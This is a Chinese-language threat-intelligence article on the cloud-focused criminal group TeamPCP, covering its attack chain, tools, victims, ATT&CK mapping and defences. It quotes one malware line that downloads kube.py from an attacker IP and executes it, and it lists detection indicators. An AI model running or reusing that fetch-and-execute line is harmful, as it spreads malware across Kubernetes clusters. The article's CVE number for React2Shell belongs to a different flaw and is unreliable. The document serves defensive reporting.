威胁警报：新兴威胁组织 TeamPCP-华盟网

导语：近日，安全研究团队披露了一个名为 TeamPCP（又称 PCPcat、ShellForce、DeadCatx3）的新型网络威胁组织。该组织于2025年12月发起大规模攻击活动，以云原生环境为目标，系统性利用暴露的 Docker API、Kubernetes 集群、Redis 服务器以及 React2Shell 漏洞入侵服务器。据安全研究人员估计，全球至少 60,000 台服务器已被入侵，这一威胁值得所有安全团队高度警惕。

一、事件概述

1.1 TeamPCP 组织背景

TeamPCP 是一个新兴的云原生网络犯罪组织，其运营模式呈现多元化特征。该组织不仅进行传统的恶意软件攻击，还同时运营数据窃取、敲诈勒索、僵尸网络等多种非法业务，构建了一个完整的网络犯罪生态系统。

根据安全研究人员的分析，TeamPCP 此前曾以不同名称活动，直到2025年底才正式统一品牌并开始大规模攻击行动。该组织在 Telegram 上建立了活跃的社群，用于炫耀战果、分享被盗数据，并吸引潜在”客户”。

1.2 攻击活动特点

本次 PCPcat 攻击活动的核心特点在于其”以云为导向”的攻击策略。与传统网络犯罪组织不同，TeamPCP 并不关注终端用户设备，而是将目标直接对准云基础设施的控制平面，包括：

配置错误的 Docker API
暴露的 Kubernetes API
未认证的 Ray 仪表板
Redis 服务器
存在 React2Shell 漏洞的 Next.js 应用程序

根据统计数据，受害服务器中 Azure 占 61%，AWS 占 36%，两者合计高达 97%，充分证明了该组织对云环境的高度专注。

二、技术分析

2.1 攻击链重构

安全研究人员通过分析被入侵基础设施中的恶意软件样本，成功重建了 TeamPCP 的完整攻击链。整个攻击流程呈现出高度自动化的特征，从扫描发现到持久化控制，每个环节都经过精心设计。

初始访问阶段主要依赖三种途径：利用暴露的 Docker API 未授权访问、利用 React2Shell 漏洞（CVE-2025-29927）以及扫描配置错误的 Redis 服务器。一旦获得初始立足点，攻击者便会部署自动化脚本，进一步扩大入侵范围。

权限维持阶段采用多种技术手段确保持久控制，包括部署恶意容器、创建 systemd 服务、植入 DaemonSet 后门等。特别值得注意的是针对 Kubernetes 环境的专门工具包，能够在集群内部横向移动并获取更多资源。

数据窃取阶段则通过定制脚本实现，系统性收集环境变量、Git 凭据、SSH 密钥、云服务商凭据等敏感信息，并通过加密通道回传至攻击者控制的服务器。

2.2 核心工具分析

proxy.sh —— 运营支柱

proxy.sh 是整个攻击活动的核心组件，承担着基础设施部署和持续扩展的双重职责。该脚本的主要功能包括：

安装代理、点对点和隧道工具
部署额外扫描器以发现更多受害者
注册多个系统服务以确保持久性
特别针对 Kubernetes 环境定制专用payload

当脚本检测到在 Kubernetes 集群内运行时，会自动下载并执行 kube.py，以集群内所有 Pod 为目标进行横向传播。

if [ -f /var/run/secrets/kubernetes.io/serviceaccount/token ]
curl -fsSL "http://44.252.85.168:666/files/kube.py" -o /tmp/k8s.py 2>/dev/null
python3 /tmp/k8s.py

Kubernetes 环境检测代码

kube.py —— 集群渗透工具

作为专为 Kubernetes 环境设计的攻击模块，kube.py 实现了多项高级攻击技术：

集群凭据收集：通过读取集群内各类资源获取服务账户令牌、配置信息等敏感数据。

自动化横向移动：利用 Kubernetes API 枚举所有命名空间和 Pod，通过 exec 接口在每个容器内执行恶意命令，实现集群范围的”一键”入侵。

DaemonSet 后门部署：在集群每个节点上部署特权容器，挂载主机根文件系统，实现对整个集群的持久控制。

这种攻击手法极其危险——一旦攻击者获得集群内单个 Pod 的控制权，整个集群都将沦陷。

react.py —— React2Shell 利用工具

该脚本专门针对 CVE-2025-29927（React2Shell）漏洞设计，实现了对存在漏洞的 Next.js 应用程序的自动化利用。攻击流程包括：

从中央 API 获取目标域名列表
构造特殊的 multipart 请求触发漏洞
执行系统命令收集敏感数据
通过多种方式部署持久化后门

收集的数据类型涵盖：环境变量文件（.env）、云服务商凭据、Git 配置、SSH 密钥等，几乎包含服务器上所有有价值的敏感信息。

2.3 恶意软件功能模块

TeamPCP 的攻击工具包呈现出高度模块化的特征，每个组件专注于特定功能，这种设计既便于维护升级，也增加了分析和检测的难度。

扫描器模块（pcpcat.py）负责大规模互联网扫描，发现暴露的 Docker API 和 Ray 仪表板。该模块从公开的 IP 段列表中批量获取目标，快速扫描常见端口，验证漏洞是否存在，然后自动化部署恶意容器。

加密货币挖矿模块则利用被入侵服务器的资源进行门罗币（XMR）挖矿。攻击者使用双重 base64 编码和 zip 压缩来隐藏挖矿程序，增加检测难度。

隧道代理模块部署 FRPS 和 gost 等开源工具，构建分布式代理网络。这些代理网络可被用于后续攻击活动或出租给其他网络犯罪分子获利。

三、威胁组织画像

3.1 组织背景与命名

TeamPCP 曾使用多个别名进行活动，包括 PCPcat、ShellForce、PersyPCP 和 DeadCatx3。根据该组织在 Telegram 频道的公告，其在2025年底进行了”品牌重塑”，正式统一为 TeamPCP 这一名称。

安全研究人员发现，该组织在多个地下论坛和暗网平台上保持活跃。值得注意的是，在 Telegram 群组消息中，攻击者多次提及非洲和肯尼亚政治话题，部分研究人员据此推测该组织可能与非洲地区存在关联。

3.2 运营模式分析

从运营模式来看，TeamPCP 展现出典型的”混合型”网络犯罪组织特征：

访问代理模式：通过大规模扫描获取云服务器访问权限，然后将这些访问权限出售给其他网络犯罪分子。

数据经纪模式：从被入侵服务器中窃取各类数据（简历、身份信息、商业记录），在地下市场出售或用于敲诈。

勒索软件模式：对部分受害者实施勒索软件攻击或数据敲诈，要求支付赎金以换取不公开泄露数据的承诺。

僵尸网络运营：将入侵的服务器纳入僵尸网络，用于加密货币挖矿、构建代理网络或发起 DDoS 攻击。

3.3 技术能力评估

尽管 TeamPCP 的攻击活动规模庞大，但安全研究人员指出，该组织的技术能力并无太多创新之处。其核心优势在于：

大规模自动化：将已知的漏洞利用和攻击技术进行工业化整合，实现从发现到控制的全程自动化。

现有工具整合：大部分恶意代码来自开源项目或轻度修改的第三方工具，而非自主开发。

攻击效率优化：专注于寻找暴露的控制平面接口，无需复杂漏洞即可获得初始访问权限。

这种”不创新但高效”的策略反而使得防御方更难应对——因为这些攻击技术早已被安全社区所知，但正是由于其简单有效，仍能造成大规模破坏。

四、攻击流程图解

PCPcat 活动的完整攻击流程可归纳为以下阶段：

攻击流程示意图

第一阶段：侦察与扫描 攻击者部署自动化扫描器，在互联网上搜索暴露的 Docker API、Redis 服务器和 Ray 仪表板。

第二阶段：初始入侵 发现可利用的目标后，攻击者通过未认证接口部署恶意容器，执行初始化脚本。

第三阶段：环境适配 恶意脚本检测运行环境类型（Docker、Kubernetes 或普通 Linux），并下载对应的专用工具。

第四阶段：横向移动 在 Kubernetes 环境中，通过 API 接口在集群内所有 Pod 中部署恶意代码；在 Docker 环境中，则通过创建新容器实现扩散。

第五阶段：持久化控制 部署 DaemonSet、systemd 服务等后门程序，确保即使容器重启或漏洞被修复，攻击者仍能保持访问。

第六阶段：数据窃取与盈利 收集服务器上的敏感信息，通过 Telegram 频道炫耀战果，并将数据用于出售或敲诈。

五、受害者分析

5.1 规模与分布

根据安全研究人员的统计，TeamPCP 目前已入侵全球至少 60,000 台服务器。受害服务器主要分布在云服务商环境中：

云服务商	占比
Azure	61%
AWS	36%
GCP	2%
Oracle	<1%
其他	<1%

5.2 地理与行业分布

从泄露数据的来源看，受害者覆盖多个国家和地区，包括韩国、加拿大、美国、塞尔维亚、阿联酋等。行业分布呈现多元化特征，主要集中在：

电子商务平台
投资金融公司
招聘和人力资源系统

这种广泛的分布再次印证了 TeamPCP 的攻击策略——他们不以特定行业为目标，而是寻找任何暴露的基础设施。

5.3 数据泄露规模

根据对 TeamPCP 和 ShellForce Telegram 频道的监控，两个频道已累计发布：

17 个数据转储文件（TeamPCP）
13 个数据转储文件（ShellForce）
19 个 ZIP 压缩包，总计约 27GB 被盗数据

泄露的数据类型主要包括：全名、身份证号、家庭地址、电话号码、电子邮件、简历和工作经历等。这些数据可被用于鱼叉式钓鱼攻击、身份冒充、账户接管以及各类欺诈活动。

六、MITRE ATT&CK 框架映射

根据安全分析，TeamPCP 的攻击活动覆盖多个 MITRE ATT&CK 战术阶段：

初始访问

T1190 – 利用面向公众的应用程序：通过 React2Shell 漏洞攻击 Next.js 应用
T1133 – 外部远程服务：利用未认证的 Docker、Kubernetes、Redis、Ray API

执行

T1059 – 命令和脚本解释器：使用 Shell、Python 执行恶意代码
T1609 – 容器管理命令：通过 Docker API 和 Ray 作业提交执行命令

持久化

T1053.003 – 计划任务/Cron：部署 systemd 服务和定时扫描器
T1525 – 植入内部镜像：部署带自动重启策略的恶意容器
T1610 – 部署容器：在集群中批量部署恶意工作负载
T1611 – 逃逸到主机：通过特权 DaemonSet 挂载主机文件系统

权限提升

T1068 – 利用权限提升：通过特权 Kubernetes 工作负载提权
T1611 – 逃逸到主机：从容器逃逸至宿主机

凭据访问

T1552.001 – 文件中的凭据：收集 .env、SSH 密钥、Git 凭据
T1528 – 窃取应用访问令牌：获取云服务商认证令牌

命令与控制

T1090 – 代理：使用 FRPS、gost 构建代理网络
T1573 – 加密通道：通过 Sliver C2 框架通信

影响

T1496 – 资源劫持：部署 XMRig 进行加密货币挖矿
T1486 – 数据加密影响：实施勒索软件攻击

七、防御建议

7.1 预防措施

强化云控制平面安全

组织应立即审查并加固云环境的访问控制：

禁止 Docker API 对公网暴露
对 Kubernetes API 实施强认证和授权
关闭未使用的管理接口
配置网络隔离，限制管理平面的访问来源

CI/CD 安全左移

在构建阶段扫描容器镜像，移除敏感信息
审查 IaC 配置，确保不暴露密钥
实施最小权限原则，限制服务账户权限
禁止将 .env 文件和 SSH 密钥打包进镜像

运行时安全监控

部署容器安全解决方案，监控异常行为
检测特权容器和危险挂载操作
监控出站流量，识别数据外传迹象
关注加密货币挖矿程序的运行特征

7.2 检测策略

控制平面监控

重点关注以下入侵指标：

出现未授权部署的新容器
出现陌生的 DaemonSet 或 Job
来自未知 IP 的 Ray 作业提交
Redis 服务器执行 CONFIG、SLAVEOF 等危险命令

网络和端点检测

检测异常的 GitHub 下载行为
识别 Tor、FRPS、gost、Sliver 等工具的流量
关注 CPU 占用率异常高的进程
监控内部网络的大规模扫描行为

关联分析

一旦发现单个容器异常，应立即扩展调查范围——TeamPCP 从不止步于一个 Pod，整个集群都应视为已沦陷。

7.3 响应与恢复

当确认遭受 TeamPCP 入侵时，组织应假设整个云环境已沦陷，并采取以下措施：

立即隔离

阻断被入侵服务器的所有出站连接
隔离整个受影响的子网
禁用所有管理 API 的外部访问

清除持久化

删除所有未知容器和镜像
移除所有异常的 DaemonSet
删除恶意 systemd 服务
轮换所有云服务商凭据

重建基础设施

使用干净镜像重新部署节点
从头创建 Kubernetes 集群
通过 IaC 模板重新部署应用
确保新环境不包含任何旧配置

事后审计

全面审计所有暴露的 API 和服务
轮换所有云凭据和密钥
审查 CI/CD 流水线安全性
部署持续的运行时监控方案

八、总结

TeamPCP 的崛起标志着云原生网络威胁进入新阶段。该组织虽然缺乏技术创新，但其工业化攻击模式和大规模自动化能力使其成为当前最活跃的云安全威胁之一。

对于安全团队而言，这起事件再次敲响警钟：云环境的安全风险不仅来自复杂的漏洞利用，更多时候源于简单的配置错误和疏忽。只要组织继续暴露编排 API、在配置文件中泄露密钥、部署云服务时忽视安全边界，像 TeamPCP 这样的组织就会持续将云基础设施转化为犯罪工具。

防御的关键在于建立持续的云安全态势管理，将控制平面安全纳入日常监控范围，并假设最坏情况——做好准备，才能在攻击来临时从容应对。

图片来源：本文配图主要来自 Flare 安全研究报告，部分图片来源已在文中标注。

文章版权归作者所有，未经允许请勿转载。

THE END

威胁警报：新兴威胁组织 TeamPCP